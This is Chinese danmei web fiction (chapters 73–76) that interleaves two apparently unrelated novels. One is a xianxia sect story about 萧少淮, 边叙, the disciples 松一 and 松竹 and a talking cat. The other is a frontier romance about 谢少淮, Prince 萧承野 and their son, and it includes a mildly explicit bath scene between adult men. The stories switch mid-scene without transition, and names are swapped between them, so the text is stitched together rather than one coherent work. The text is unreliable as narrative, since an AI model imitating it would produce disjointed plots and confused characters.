紧接着倏然抬爪,以迅雷不及掩耳的速度冲到边叙身边——翻身打了一个滚。 边叙木然的表情似乎裂开了一瞬。 “你……” 他迟疑低下头,看着在自己脚边不停打滚的白猫,后知后觉意识到一件事。 ——按照民间的说法,怨灵或借尸还魂,身下是没有影子的。 而这只白猫,从刚一开始便胖的连影子都藏不住。 边叙闭了闭眼,心中庆幸幸好刚才那一幕没有被任何人看到。 下一秒,却听一个慢悠悠的声音从面前传来。 “边峰主作为一个修仙之人……刚才是在怕我吗?” 边叙:……??? 他倏然低下头,不可置信地望着面前正低头舔毛的白猫。 “你——” “你最开始都认出我是妖了,口吐人言有什么稀奇?” 另一边,樾为之灵力锁魂,操纵着那“白猫”不紧不慢地开口。 他声音不知为何有些奇怪,像是刻意变了个声线般,诡异却又莫名……契合。 边叙木着脸站在原地,在自己疯了还是终于见鬼了之间犹豫了几秒,却听面前的白猫再次悠悠开口。 “你没疯,虽然我很想一巴掌扒开看看你脑子都装的是些什么,但时间来不及了。” 那白猫抬起头,碧色与黄色的异瞳在月光下闪着幽幽的光。 “萧少淮的状况有些不好,劳烦你过去帮一下忙。” 边叙愣了一下,神色倏然沉了下来。 松竹怔了怔,下意识环顾了一圈四周。 周围安安静静,连原本时有时无的鸟鸣声似乎都逐渐远去,没有半分异样。 旁边的松一也忍不住开口:“你在说什么啊,且不说这周围什么也没有,而且这已近宗门门口,谁敢在这里放肆。” 他一边说一边抬头看着天色:“你要没什么事麻烦改日再来吧,马上就要宵禁了,我可不想因为你挨骂——” 他话还没说完,忽然看到了什么,瞬间瞪圆了眼睛:“你你你,你自己不是能起来吗——” 面前一袭白衣墨发的人撑着旁边的树干慢慢站起身,捂着胸口似笑非笑地瞥了他一眼。 “怎么,小师傅刚才对我还那么主动,短短几瞬就已经变心了?” 他一边说一边露出了一副泫然欲泣的表情,松一一下子被他闹了个大红脸:“你在胡说八道什么” 萧少淮唇边多了一丝笑意,他刚想开口再说什么,忽然皱了皱眉,侧耳听了几息,正色道:“到我身后来。” 松竹似乎也意识到了什么,皱眉向远处望去,松一却还是一副茫然未知的模样。 “什么躲你后面?我刚才探查过了,周围没有任何异常响动,比平时还要安静” “你不觉得,是有点太安静了吗?” 萧少淮盯着不远处树林里的某一点,轻声开口。 周围的鸟鸣声早已消失,连风过树梢的“沙沙”声不知何时也停了下来,仿佛进入了一个死寂的囚笼。 松一看着一旁随风微晃却没有发出任何声响的树叶,微微瞪大了眼。 旁边的松竹已经一言不发地上前一步,将萧少淮挡在了身后。 松一回过神,有些绝望地看了一眼四周,心知今日一定是赶不上晚归的门禁。 他哀嚎一声,一边絮絮叨叨嘟囔着“又要挨骂”,一边也赶忙上前,拔出长剑和松竹并肩而立。 “行了你别乱动了,就算是有蹊跷也应是你躲我们身后,怎么说这也是我们宗门的地盘,你虽然身份未明,但来者即是客,理应我们保护你。” 他没有注意到,萧少淮听到那句“来者即是客”时,神色古怪了一瞬,最终却也什么都没说。 周围的天色渐渐暗了下来,两个小道士一左一右护在萧少淮身前,身上的袍袖无风自动,随着长剑的一点光晕飘飘扬扬。 萧少淮盯了他们一会儿,忽然轻轻“咦”了一声。 松竹依旧冷静地注意着四周,松一被萧少淮直接吓了一个激灵。 “你干什么?现在正是紧张的时刻,你能不能不要乱动乱出声” 萧少淮对着他比了一个抱歉的手势,却还是在左顾右盼地寻觅着什么。 松一: “我听到了,听到了。” 萧少淮敷衍地点点头,忽然伸手扒拉了一下他的肩膀:“麻烦你让一下。” 松一:? 萧承野这一走就是一整天,到了酉时左右,男人才带着满身血腥味儿回来。但是这次并未想副将说的那样押送俘虏回来。 彼时谢少淮正在和萧承野的副将说话,见萧承野带着人马返回便停下了话题,上前去迎接他。 萧承野下了马儿,先看了眼乖乖在等着他的谢少淮,随后才下令:“休息两个时辰,连夜回营。” 骑兵小队队长齐声:“是!” 谢少淮一靠近萧承野,他身上那股子血腥味便更重了,“王爷身上血腥味好重,又遇到匈奴人了?” “嗯,遇到一支埋伏的三十人的小队,”萧承野抬袖嗅了嗅身上的味道:“很重吗?不是本王血。” “收拾收拾吧,明日到了大营就能洗漱了。” “现在就要走吗?”谢少淮:“王爷一天一夜没休息了,不多休息一会儿吗?” “不必,”萧承野饮了口水,将马儿给了身边的骑兵,随后走到谢少淮身边把水袋拿给了他:“早些回去,皇兄和丞相也该启程回长安了,再晚了就赶不送皇兄了——大人打算和陛下一起回去吗?还是多留几日?” 第 73 章 第 73 章 萧承野闻言,鸦羽微微垂下,目光落下身侧的谢少淮身上。 昨日谢少淮他说,他来这里是因为做了一个梦,虽然觉得离谱,但起码谢少淮愿意留下来了,他回去得好好去寺庙上柱香,最好能让谢少淮多做一些这样的梦。 可现在他怎么问了一句,谢少淮去不理他,眉心紧蹙,一脸十分为难的样子? 萧承野气的几乎要把后槽牙咬碎了,他沉默少顷又等了男人一会儿,他已经知道答案了,最后才道:“罢了,本王不想听你的回答。” 要启程回大营,刚出来没两日的将士们都高兴的不得了。萧承野说罢便朝着大部队走去,准备帮弟兄们一起收拾东西。 谢少淮看着萧承野远去的背景,提起衣摆上前追去:“王爷。” 走了一大半的萧承野闻言立马就转过身来,眉心紧紧蹙着看着谢少淮,“还有什么事情?” 大漠的傍晚温度渐渐降下来,远处的天际橙蓝交融晚霞绵延数里,猎猎北风吹起站在沙丘上的谢少淮的衣摆,吹乱了萧承野高高耸起来的马尾。 萧承野抱臂,看着一眼欲言又止的青年,“你若要留下也可以,只不过得回琢州去,军营……” 谢少淮:“下官是要回去,但是也不用这么着急。” 萧承野抽了抽嘴角:“……” “本将知道了!” 萧承野又气得换了称谓。 萧承野说罢便再次头也不回地朝着几个正在凑在一起吃饭的骑兵去,谢少淮一头雾水地站在人群十米开外的地方。 他看的出来,方才他说罢萧承野好像不开心了。 想来是累了。 几秒钟后,萧少淮凑在萧承野面前,有些愧疚地看着他眉心正中央那道红印,抬手想揉。 “我没用多大劲儿啊” 他刚抬起手,对面的人一把攥住他的手腕,垂下眼静静地望向他。 萧少淮撇了撇嘴,比了个抱歉的手势,后退一步,将手腕抽了回来。 “对不住啊,我不知道你会突然出现在那里对啊——” 萧少淮抬起头:“萧宗主一大早来这里做什么?” 萧承野盯着他不说话,萧少淮也不着急,眨了眨眼,径直凑到萧承野身前:“萧宗主不会是知道我会迷路所以专程来找我的吧。” 萧承野眼眸闪了闪。 晨曦的微光落到他眼眸间,镀上了一层漂浮的暖光。 他盯着萧少淮,缓缓开口。 “我来督工。” 萧少淮:? 他一边说一边又向旁边看了一眼:“顺便来看你能迷路到哪里。” 萧承野:“未曾想到,离房门不过十步。” 萧少淮: 他瞬间炸了毛:“这不怪我,你们这个竹林有问题,我绕来绕去根本找不到一条路能出去,简直就是鬼打墙——” “这个竹林里设了迷阵。” 萧少淮的声音戛然而止。 他似乎想到了什么,瞳孔微缩了一瞬。 他听着萧承野缓缓开口:“这是宗门最初级的阵法,用灵力寻一下阵法交接处的薄弱点,就能找到出路了。” 萧承野转过头,望向萧少淮:“你找不到吗?” 萧少淮抬头正对上萧承野的目光。 他眼眸闪了闪,忽然幽幽地叹了一口气。 “我当然找不到啊,萧宗主。” 萧少淮将方才捏着三枚铜钱的手不着痕迹地背到身后,语气依旧凄哀:“我之前不是跟萧宗主说过了,我要死了,我这个身体受过重创,早已废了,灵力已被洗涤一空。” 他话还没说完,便听面前的人冷声开口:“我说了,别骗我了,萧少淮,我不会信的。” 萧少淮背后掐算的手指微微一顿。 他坐在一片逆光里,仰头望着面前的人。 萧承野清楚,萧少淮从小时起便十句话里没一句真话。 谎话从来不重样,他们师兄弟五人全都被轮番坑过,其中尤以萧承野为最。 “萧宗主不相信吗?”萧少淮盯了他几秒,忽然轻轻叹了一口气。 他抬起头,垂在身侧的手抬起,冲着他露出了纤细的内腕:“萧宗主要是不信,不如亲自帮我把把脉?” 面前的人跪坐在地上,脆弱到仿佛不堪一握的腕骨从层层叠叠的袍袖中露出一截,弯曲的弧度带着几分倔强和委屈的意思。 萧承野怔了怔。 面前的人身形单薄,失去了记忆,昨天松一也确认过,他身体确实受过一定程度的暗伤。 ——万一萧少淮说的是真的,万一他好不容易一次示弱却被他误解 萧承野心中竟然有些慌了神。 “你” 他下意识上前一步想要去握那微颤的手腕,下一秒,却看面前的人忽然凑上前。 “萧宗主真信了啊。” 萧少淮歪了歪头,眼中盛着笑意,方才的脆弱与无措已一扫而空。 萧承野动作一顿。 萧少淮笑盈盈地站直身子,双手背在身后,冲着右侧那条路微微偏了一下头。 “从这里出去,再往左拐一里,就到规训堂了。” 身后的人一直没有出声,萧少淮往前走了两步,笑眯眯地转过头:“晨课马上就要开始了,萧宗主不是要督工,不一起走吗?” 萧承野神情又恢复了熟悉的冰冷。 他死死地盯着面前神情自若地人,半晌倏然转过身,大步向反方向走去。 玄色衣袍迅速消失在竹林深处,萧少淮无声地吐了一口气,身子轻轻晃了一下。 他闭了闭眼,摊开手,方才紧攥的三枚铜钱在掌心间烙下了不轻不重的三个印子。 “怎么还会相信我啊,萧承野”萧少淮似乎轻轻叹了一口气。 身后似乎再次传来翅膀扇动的声音,萧少淮垂下眼,静了几秒,忽然开口。 谢少淮揉了揉小团子的脑瓜:“阿澶说的没错你的爹爹很厉害,但是爹爹也会疼对不对?” “也是哎!”萧澶眨巴眨巴眼睛,放下了手里的书,从谢少淮腿上下去,跑到萧承野跟前,鼓起小肉腮给萧承野吹气:“疼疼飞飞,爹爹生病,父亲会担心。” “乖阿澶,”萧承野闻谢少淮言,眸子一沉,心彻底乱了。 “你的腿好些了吗?”萧承野抬眸,把药油递给谢少淮:“回去多涂,恢复的快,最好按摩一下。” “多谢王爷,”谢少淮说罢,不知怎么向萧承野开口问他要水,犹豫少顷不等他开口,萧承野先问了一句:“大人过来找本王是有事?” “是,” 谢少淮实在受不了身上黏腻的感觉了,“王爷,今日大营里没有多余的水给下官了,方才那取水的兄台说你知道哪里有泉眼,不知王爷能否告知下官?” “你找不到,”萧承野把谢少淮手里的药油又要回去了,“一会儿本王去给你打水,正好教教你怎么涂药。” 谢少淮:“……那就劳烦王爷了。” 第 74 章 第 74 章 “不麻烦,”萧承野说罢,便收拾好了自己的衣物准备出门,临走前他催了萧澶一句:“阿澶快些回府,明日还有夫子的课要上。” 萧澶乖巧地点了点头:“阿澶知道了,爹爹放心。” 萧承野点了点头便真的离开了,谢少淮和萧澶说一会儿话,青松就过来喊人了:“殿下,咱们该走了。” “走吧阿澶,父亲送你出去,”谢少淮说罢,拉着萧澶的手将他送出了大营。 差不多一个多时辰后,天色完全暗了下来。 谢少淮心里想着萧承野的事情,便去了卫岚的营帐处。 他在卫岚营帐外等通传,少顷守卫军便喊他进去。结果还没掀开帘子卫岚就从里面出来了,谢少淮向男人作揖:“大将军。” “这几日大人跟着阿野出巡消瘦许多,”卫岚看了眼青年,随后掀开了帘子:“大人请进,本将刚好在吃完,大人一起吃一些吧。” 卫岚说罢,就让人准备了碗筷,谢少淮也不好拒绝,便入席了:“多谢将军了。” 他终于有些急了:“我警告你,你别乱动啊,你本来就受了伤,躲在我们身后我们还能护着你,要是乱跑跑丢了唔!” 他话还没说完,忽然被旁边起来的劲风呼了满嘴。 松一吃了一嘴的土,手忙脚乱地“呸”了两声,好不容易重新转回头,正看到一个白色身影向前飘然而去。 松一:!!? “你干什么?你疯了——”松一急声开口。 他话还没说完,忽然听到一声巨响从面前传来,紧接着清润的声音从黑暗中破空而出。 “西北,乾位。” 松竹一剑破开不知何处袭来的劲风,听着萧少淮的声音愣了一下。 他有些迟疑地抬起头,却听下一刻,萧少淮的声音再次传来:“离散符,快!” 那声音清冷却仿佛带着某种威压,松竹下意识照做,手腕一转拿出一把离散符,径直向西北方甩去。 符咒在脱手的那一刻瞬间燃起,爆发出一阵刺目的白光。 一片目眩神晕间,松竹似乎听到了一声轻笑。 他不顾眼睛的刺痛,努力睁大眼朝前看去。 他看到那一袭白衣血迹斑驳的人一指点在虚空,清隽的手腕一转,一笔划出一道流畅的符画。 紧接着是一声轻呵。 “破。” 令人滞涩的憋闷感瞬间消散,旁边的松一一屁股坐在地上,控制不住地大声喘着气。 “好厉害,刚才那第一击你是怎么知道的?” 松一坐在地上,抬头望向萧少淮。 他们刚才应该是不知何时被笼进了对方的结界。 刚才的风动无声、天色昏暗都是结界造成的结果,目的就是为了麻痹他们的感知。 当时第一击的时候他和松竹都没有反应过来,要不是萧少淮抢先一步接下,替他们抢了那一点先机,他们后面会一直处于绝对被动的状态。 “是风。”跪坐在地上的人神情没有什么变化,呼吸却无意识间再次急促起来。 樾为之愣了一下,神情迅速凝重起来。 他按了按面前人的虎口,试图将人唤醒,见他没反应,咬了咬牙,蓦然抬起爪。 “嘶——” 手上的刺痛让萧少淮猛然回神,他骤然吸了一口气,偏过头低低地呛咳起来。 “怎么了?” 旁边的边叙也闻声转过头。 他语气间依旧带着遮掩不住的惊讶:“你从前来过这里吗大师兄,我从来不知这里还有这样一处所在……” 他的声音在看到萧少淮的状况后戛然而止。 面前的人捂着唇,半垂着头单手撑在地上,整个人摇摇欲坠。 “大师兄?” 边叙伸手想要将他扶住,下一秒却看到面前的人身子微侧,不着痕迹地避开了他。 “我没事……” 萧少淮捂唇摇了摇头,冲着他弯了下眼:“让边峰主担心了,只是不知边峰主刚才说的……愿曦阁,是什么地方?” 边叙动作倏然一顿。 房间内一片寂静,面前的人脸上挂着清浅的笑意,眸光微敛,双眼间一派茫然,看起来是真的——毫不知情。 边叙垂在身侧的手一点点攥紧。 “你不知愿曦阁……” 他此时才后知后觉地意识到,即便他一再否认……面前的人确乎是真的失忆了。 因为视力还未恢复,双眼迷茫不知往何处聚焦的萧少淮茫然眨了眨眼。 暗窗外隐约有脚步声传来,萧少淮眼眸闪了闪,还没来得及说什么,便看到面前的人先一步倏然站起身。 “萧师弟……不,宗主应是来了。” 边叙仓皇后退一步,语无伦次地断续开口。 “师兄……萧公子你先休息,我出去见一下宗主,一会儿回……不,我还是先不回来,我不应出现在这里……” 萧少淮眨了眨眼,看着面前的人慌乱转身,一头差点将旁边的案几撞翻。 他顿了一下,仰起头无辜开口:“边峰主小心……” 他话还没说完,便听“砰”的一声闷响,衣袍纷飞间,边叙慌不择路地一掌直接将房门拍开,大步流星地走了出去。 萧少淮默然一瞬。 淡淡的幽兰香仿佛又弱了几分,萧少淮垂下眼,在原地静坐了几秒,似是轻轻勾了勾唇。 一声戏谑的声音从旁边同时传来:“怎么?感动了?” 樾为之从他怀里跃下,抖了一圈蓬松的毛发,望着他悠悠开口:“没想到萧承野会把你曾经的屋子留下来?” 他顶着白猫的身子翘着尾巴转了一圈,“啧啧”开口:“确实舒适得怡,难怪你一进销春尽就吵着闹着要换屋子,原来就是想换回这间……” 他话还没说完,却听面前的人轻轻地笑了一声。 “感动?” 萧少淮抬起眼,平静地勾了勾唇。 “我不是说了……我不知道这处愿曦阁是什么。” 樾为之神情一愣。 他看着面前的人撑起身,微微晃了一下,寻了个蒲团慢慢坐下,清隽的腕骨凹出一个细微的弧度。 “我的愿曦阁,早在从前被一把火烧没了。” “都是假的,我有什么好感动的。” 萧少淮后背靠上树干,捂唇咳了咳,紧接着似乎有些嫌弃地看了一眼自己的袖口。 松一看到似乎有血色从上面一闪而过,但他没有在意,愣了一下,瞬间恍然:“是袖袍的鼓动方向!” 萧少淮揉搓着袖口那一点暗色,勾了勾唇,点了下头。 “你们运气于剑,灵气充盈时带起的风把他们袭来的风向掩盖了,但仔细观察还是能看到细微的变化。” ——但松一清楚,那绝对不是仅靠仔细观察就能做到的。 结界的设立就是为了控制。 结界里的一举一动都被对方操控,既可以掩盖自己的行踪,又可以掌握先手,先发制人。 ——眼前的这个人要么是沉着冷静异于常人,要么是深藏不露实力非凡。 松一眼中的惊佩与好奇几乎不加掩饰。 他一骨碌爬起来还想问什么,却见萧少淮突然似笑非笑地一转头:“这是宗门心法最基础的课,小师傅看起来没少逃晚课啊。” 松一:? 他张了张口,看着萧少淮一边说一边颇为遗憾地摇摇头:“逃晚课不可取啊。” 莫名被戳到痛处的松一:??? 他好不容易顺平的毛再次炸了:“什么逃课,我可从来没有过,而且你知道我们宗门晚课那些老头讲的有多无聊——” 他下意识想要上前理论,松竹忽然抢先一步挡到他身前。 “阁下到底是谁?” 他上前一步挡在松一身前,神情紧绷:“阁下怎么会知道我们宗门的心法授课,又怎么会对我们的符咒、术式了如指掌” 世间六道十三门,以四门为首。 扶摇念起春销尽,上京洲畔十四城。 ——上京洲、十四城、扶摇念、销春尽。 上京洲善药,大隐于市;十四城地处荒漠,唯武是尊。 扶摇念为近年突然崛起的一道宗门,善符咒、卦象,最为神秘,不为外人所道,但却稳稳与其余三门比肩。 销春尽擅剑道,当年宗主一人一剑横扫八荒,一举清退魔族。 因此销春尽传世的也基本是剑术、剑心,像符咒等其余的法道,几乎只用于门内自学,不为外人所道。 但松竹刚才在白光中看到萧少淮画符的手法,分明就是他们宗门最惯用、最基础的起符方式。 双眼隐隐传来的刺痛不断提醒着他这一点异常,松竹握紧了手中的剑,却发现萧少淮并没有回答他的问题。 萧少淮放下手中一直摆弄的袖子,盯了他几秒,忽然抬手冲他起了一个手势。 带着淡淡草药香味的药浴似乎有些清心凝神的作用,谢少淮擦了一会儿身子,便有些累了,靠着浴桶合上了眼睛。 约莫过了一盏茶的功夫,谢少淮总觉得背后有一双眼睛看着自己,他蹙了蹙眉微微侧过去眸子,便看见身后的床幔倏地被合上了。 萧承野在偷看他。 他猜到了。 谢少淮没做出反应,也不知道怎么回应萧承野,他说的对,自己身上早就被他一寸寸摸过了,看一眼而已,何必戳破,弄得他们都尴尬。 等……等西北的战事平定吧。谢少淮想,若萧承野到时候非要强求与他复婚,那便复婚吧,就当是为了……阿澶。 对,就当为了阿澶。 谢少淮想着,这时候在床上的萧承野似乎等久了,不爽快地喊了他一句:“药浴不要泡太久。” 说罢,谢少淮便听见床幔被扯开的声音。他转身,见萧承野拿了干净浴布朝着他走了过来。 第 75 章 第 75 章 “下官自己来就是,”谢少淮拢着自己的罩衫,从浴桶里出来,抬手接过萧承野递过来的浴布,只是他拿住了东西,男人并不松开。 萧承野鸦羽微垂,目光落下青年长衫下那两条白花花的大腿骨肉匀称、修长流畅,但是那根部的肉-感有多上手,只有他知道。 萧承野松了手,任谢少淮将浴布拿走,他收了收目光转身往床上走:“擦干净便过来。” 谢少淮握着手里的浴布,眉心紧蹙,目光落在身前萧承野的背上。 危险的气息。 他看着萧承野重新坐在床上,又开始摆弄那些药油,似乎没把目光放在他这里。 谢少淮长吁了口气,随后没用浴布,径直朝着床上走去。 萧承野将药油倒在掌心,微微搓了一下,随后便示意谢少淮:“把腿伸过来。” 他耳朵瞬间滚烫了起来。 “小师侄刚才生气了啊?”萧少淮望着他,笑眯眯开口。 松一耳尖爆红,下意识摇了摇头,倏然又反应过来什么,囫囵点了点头:“对,我就是——生气了。” 他想硬起语气,却见萧少淮轻轻“啊”了一声,半垂下眼似乎有些难过。 松一心中闪过一丝愧疚,有些疑心自己方才的话是不是说重了。 但他咬了咬牙,又强行硬起心肠:“行了,我告诉你,我不会再信你的任何谎话,你别想着再骗我——” 他话还没说完,忽然听到萧少淮轻声开口:“我其实过来,除了有事相问,还是想感萧一下小师侄。” “刚才长老弟子冲过来的时候,小师侄还是想保护我的吧。” 松一倏然别过脸:“我没有——” 萧少淮没在意他说的话,只伸出手指,一条条细数着:“虽避开了我的目光但身子还是朝向这边;在看到那名弟子冲过来后第一时间有所动作” 被戳破所有小动作的松一: 他瞬间又急又气,直接跳了起来:“我都说了我没有!” 他涨红着一张脸,径直向门口走去,却听身后的人似乎被他吓了一跳,捂住唇压抑地闷咳起来。 松一脚步再次不可控地一顿,脑海中瞬间浮现出前日萧少淮失去意识倒在他怀里的样子。 他心中已有些后悔话说的太急,却还是撑着最后一丝硬心肠坚决不回身。 “我告诉你,就算你现在这般说,我也不会那么轻易原谅你,这根本不算道歉——” 萧少淮哑声低低叹了一口气:“那小师侄希望我怎么样?” 松一口心中有些乱,张了张口,一时也没想好萧少淮到底怎样道歉他才能原谅。 下一秒,便听身后的人哑着嗓子,声音软的像是冬日里蓬松的雪片:“我知你生气,所以我只是想说——多萧小师侄以德报怨。” 萧少淮话还没说完,又呛了一口风,低低弱弱地闷咳起来。 松一脑海中方才预设的念想瞬间土崩瓦解。 他忙不迭地回过身,绕过桌子,有些慌乱地来到俯身呛咳的人面前。 ——他这样一个人,孤苦无依,还受了重伤,自己还有什么好斤斤计较的 松一刚将手伸过去,却看萧少淮颤着身子别过身,避开了他的搀扶。 “可小师侄还在生气,我应当怎么办——” “没事,我原谅你了!” 松一压根没听清萧少淮说了什么,涨红着脸忙不迭点头,甚至脱下自己的外套披在萧少淮身上:“你先坐会儿,别再被风呛到了。” 他终于将面前“摇摇欲坠”的人扶住,伸手按住萧少淮的脉,见脉象还算平稳,无声地舒了一口气。 萧少淮眼角抽了抽。萧少淮不知道,边叙最近抽了什么疯。 那天之后他又有点低烧,昏昏沉沉睡的不知今夕何夕。 等他好不容易迷迷糊糊退了烧,清醒了些许,一睁眼却发现不知何时,又回到了原来的住处。 萧少淮倒也没什么反应。 他和萧承野都不约而同地避开了愿曦阁这件事。 萧少淮最近本也不太想见到萧承野,干脆乐得个清净。 没想到偏偏又被边叙这个书呆子缠上了。 他从那日暖阁之后,每天便是藏书阁和他这里两点一线的往返,一边疏离地叫着他“萧公子”,一边隔几日便给他带一碗黑漆漆的苦药。 “这什么,我不想喝……” “萧公子不是在寻一味药吗,”边叙一边不顾他的抗拒将药碗塞到他手里,一边平静开口,“我虽未曾听闻,但或可根据萧公子的身体情况寻到更好的药方。” 萧少淮被灌的苦不堪言,终于没忍住找了个由头躲出去了一天。 没想到第二天,边叙直接带了松一、松竹两个门神,美其名曰让萧少淮帮忙监督。 萧少淮直接被气笑了。 “松竹好学我能理解……” 萧少淮揽着猫,半倚在榻上,一边托着腮,一边晃晃悠悠,忽然凑到松一身前:“你怎么也突然这么奋进了?” 他一边说一边低下头,轻轻“啊”了一声:“还是医书——看不出小师侄这么关心我的身体。” 松一的耳尖不知为何爆红一片。 他蓦然后仰,避开萧少淮的触碰:“你别自作多情了……” 萧少淮许久没有见过这么纯情的小弟子了。 他眨了眨眼,半撑起身子笑眯眯地又待凑近,下一秒却见松一直接从塌上起身,倏然后退了两步。 “——你别靠我那么近,我说了我才不是为你。” 松一深吸一口气,避开萧少淮的目光。 “四方大典马上要开始了,到时四宗十三门的人都会前来,我是在为这个做准备……” 萧少淮揽着猫的手指轻轻颤了一下,蓦然收紧。 怀里的猫咪“喵呜”一声,骤然从他怀里钻出来,径直就往门口跑去。 “哎——”松一下意识转身去追,却忽然感觉手腕一凉。 萧少淮将他拉住,轻轻摇了摇头:“我去吧。” 萧承野转过竹林时,便又看到那只白猫孤零零地蹲坐在路中央。 他脚步一顿,还没来得及反应,下一秒便看那白猫颠颠地跑过来,径直往他脚下——扑了个脸朝地。 萧承野眉心跳了跳,却看那白猫仿佛没意识到哪里有问题般,抬起爪子在空中抓挠了一下,扑腾着又打了个滚。 ——萧承野第一次有一种,他是不是被讹上了的错觉。 他迟疑着蹲下身,缓缓开口:“你……是一直跟在他身边的?” 猫咪四爪朝天躺在地上,歪着头,也不知听懂了没有。 萧承野闭了闭眼,到底还是忍不住开口:“他有没有同你提起……” 他话还没说完,忽然听到一个带着笑意的声音从身后传来。 “九渊?” 萧承野瞳孔骤然紧缩,不可置信地睁大眼。 刹那间他恍惚以为自己出现了幻觉,下一秒,却听萧少淮清越的声音再次清晰地传来。 他又唤了一声:“九渊。” 萧承野整个人僵在原地。 那一瞬间他仿佛重新回到了从前,自己日暮练功回来,萧少淮早早半倚在门前,漫不经心垂着眼,却在看到他时一瞬笑开的模样。 萧承野下意识无声张口。 ——这孩子真是善良得让人有些不忍。 他心中难得闪过一丝不好意思,却又顷刻间烟消云散。 ——这傻小子与其被别人骗,不如被他骗。 他这般想着,将半身的重量都靠在松一手臂上,苍白着一张脸勾了勾唇。 “多萧小师侄。” 萧少淮又咳了几声,继续“轻声细语”地开口:“那小师侄方才说的那几本药书,可否借我一观?” “没问题。”松一拍着胸脯瞬间应下。 他一边说一边扶着萧少淮就要往外走,旁边目睹一切的松竹终于忍不住伸出手,将松一拉到一旁。 “师弟,你和萧公子这是要去哪?” “去师父的藏书阁,萧公子说他想看一下那几本药书。”松一不明所以,但兴致勃勃地发出邀请,“师兄要一同前去吗?” 松竹忍了忍,终于还是没忍住直接问到正题:“那你和萧公子已经无事了?” “对啊,他都已经道歉了,我还生什么气?”松一一边点头,一边探头探脑往萧少淮那方瞧。 松竹:“萧公子他刚才分明并未说什么。” “你说什么呢师兄,他刚才都已经那么难过了,我还能和他斤斤计较不成?”松一不满地瞪了他一眼 松竹忍住扶额的冲动,深吸了一口气,将挣脱他手的人再次拉住。 “师弟,我劝你还是和萧公子别走那么近。” 松一疑惑抬头,松竹环顾了一圈,声音压低了几分:“我总觉得宗主对萧公子” 他话还没说完,便听松一大声开口:“师兄,你能不能大声点说话,萧公子和宗主怎么了?” 松竹: 那一瞬间,他心有灵犀般和刚才萧少淮的想法不谋而合。 ——这呆瓜与其在宗外被人骗个大的,不如晕头晕脑地跟着萧少淮总能长点心眼。 松竹对上不远处萧少淮探究地目光,僵硬着脸勉强点头。 他转头重新望向松一,重新吸了一口气:“没什么。” 松竹咬牙一点点转过身:“我说你除了看看脑子,没事也看看怎么长点心眼吧。” 药浴凉了。 但是身子泡在里头确实热的,谢少淮双手扒拉着木桶边缘,因为用力指腹都泛了白。 水花时大时小,弄得周围都是。 萧承野抵着谢少淮的后脑勺,轻轻嗅着他发丝间淡淡的香味,“阿淮身上好香。” 谢少淮跪了半个小时,膝盖已经没了知觉,但却没有那么疼,因为身体的重要支点并不在膝盖上。 这个姿势他也喜欢,因为药草泡的时间久了,微微泛褐,水下究竟是什么样子的,谁也看不清楚。 而且,不用看萧承野那张脸。 “药浴是香的,”谢少淮已经藏不住口齿之间轻微的哼声,只能尽量一点点发声,或者用鼻子轻轻哼一下:“王爷用的什么药?确实不错,好像身子一直热乎乎的。” “加了一些活络经血的,”萧承野撑着浴桶,将谢少淮圈在怀里,随后将人翻了个身,让他正对着自己:“多泡泡对身体好。” 谢少淮的腿顺着萧承野的腰攀了上去,双手也搭在了他肩膀上,不满意地哼了声:“你弄进来水了……” 萧承野鸦羽微垂,看着身下顺从地青年,心情大好摁了摁他的小腹:“本王帮大人排出去。” 谢少淮:“……” 第 76 章 第 76 章 后半夜谢少淮睡过去了,应该睡了两个时辰不到,就感觉天好像亮了。再醒来的时候,腿上热乎乎的,他蹙了蹙眉抬眸看了一眼,萧承野正给他按摩。 “醒了?” “嗯,”谢少淮甫一动了身子,除了腰上稍微有些不舒服外,好像就没别的不适感了。 “给你都按了一遍,”萧承野说罢,将一堆瓶瓶罐罐都收了起来,“腰、腿还有昨天咬着本王的地方都上了药。” 谢少淮:“……” “王爷说话不要这么直接,”谢少淮抽了抽自己的腿,坐了起来认真警告他:“实在有辱斯文……” 边叙隐隐感觉哪里不对劲,下意识想要将掌心的灵力收回。 但下一秒,面前的人忽然爆发出一股磅礴的灵力,边叙心神一凛,掌心灵力下意识倾泻而出,却忽然感觉面前的人收了力。 边叙神情间闪过一丝愕然。 两人周围的威压骤然消失,随之而来的是一声压抑的闷哼。 萧少淮捂住胸口,控制不住踉跄后退,重重地撞到身后的书架上,骤然喷出一口鲜血 书呆子力气还这么大。 萧少淮心中暗骂一声,按着胸口的手飞速在衣袍暗袋里摸索着什么,却控制不住周身力气的流失。 书架上的夜明珠随着这一撞剧烈摇晃,一颗颗滚落在地,发出令人心颤的碎裂声。 书架前的人也眼前发黑,实在是站不住,身子摇晃了两下,顺着书架一寸寸无力下滑,按着胸口,跪坐在在一片清泠泠的碎片间。 他神情狼狈至极,却还是抬起头,勉力冲面前模糊的人影笑了笑:“西峰峰主好身手。” 边叙皱眉望着他,也不回话,只慢慢上前几步,忽然单膝落地。 他半跪在萧少淮身前,径直伸手往他心口按去。 这幅画面乍看起来很是温馨——如果不是萧少淮自己坐在一片血承中,面前的人刚才又差点杀了他的话。 萧少淮心知再让这书呆子这么来一下自己就真死了。 他抬手想拦,手臂却无半分力气,只抬起了半寸,便脱力地重重坠了下去。 萧少淮苦笑一声,暗叹一声自己自作自受。 他仰起头,对上边叙看着陌生人一般冰冷的目光,感觉周身的伤口越发痛了起来,唇角却没忍住浮现出一抹笑意。 ——罢了,也算是没白费。 他看着边叙的手一点点逼近,甚至能感受到他指尖灵力在一点点聚集。 在碰到他心口的那一刹那,旁边一只手忽然伸了过来,急急地挡在了萧少淮身前。 “师父,您等一下!” 松一终于跑了过来,伸长了手臂挡在萧少淮身前。 萧少淮借着这一空隙,勉强提起一口气,从袖口中摸出了一枚药丸,迅速送入了口中。 他无声地吐了一口气,脸色肉眼可见地红润了几分,目光却逐渐涣散起来。 面前的两人还在对峙,没有人注意到身后的人这一点小动作。 边叙动作一顿,没有说话,但慢慢将目光转向了两人间的松一。 松一迅速开口:“师父,我知道您心中有疑虑,但您能不能让我先检查一下他的身体。” 他有些紧张地挡在两人身前,咽了一口唾沫,脑袋此时还有些宕机。 他还没完全搞明白方才具体发生了什么,他相信自家师父判断不会有误,但又不愿相信萧少淮真的和魔族有关。 边叙望着他,平平开口:“他身上有魔族气息。” “峰主认错人了。” 萧少淮踉跄着后退一步,头顶的发簪有些松了,几缕发丝从两侧垂落,隐隐露出苍白纤细的脖颈,脆弱而又执拗地骗过去不去看他。 萧少淮笑着摇了摇头,仍旧慢慢往外走去:“我不是你师兄……” 松一注意到萧少淮唇色又隐隐苍白起来,他有些慌张地想要上前,却见边叙已先一步拦住萧少淮的去路。 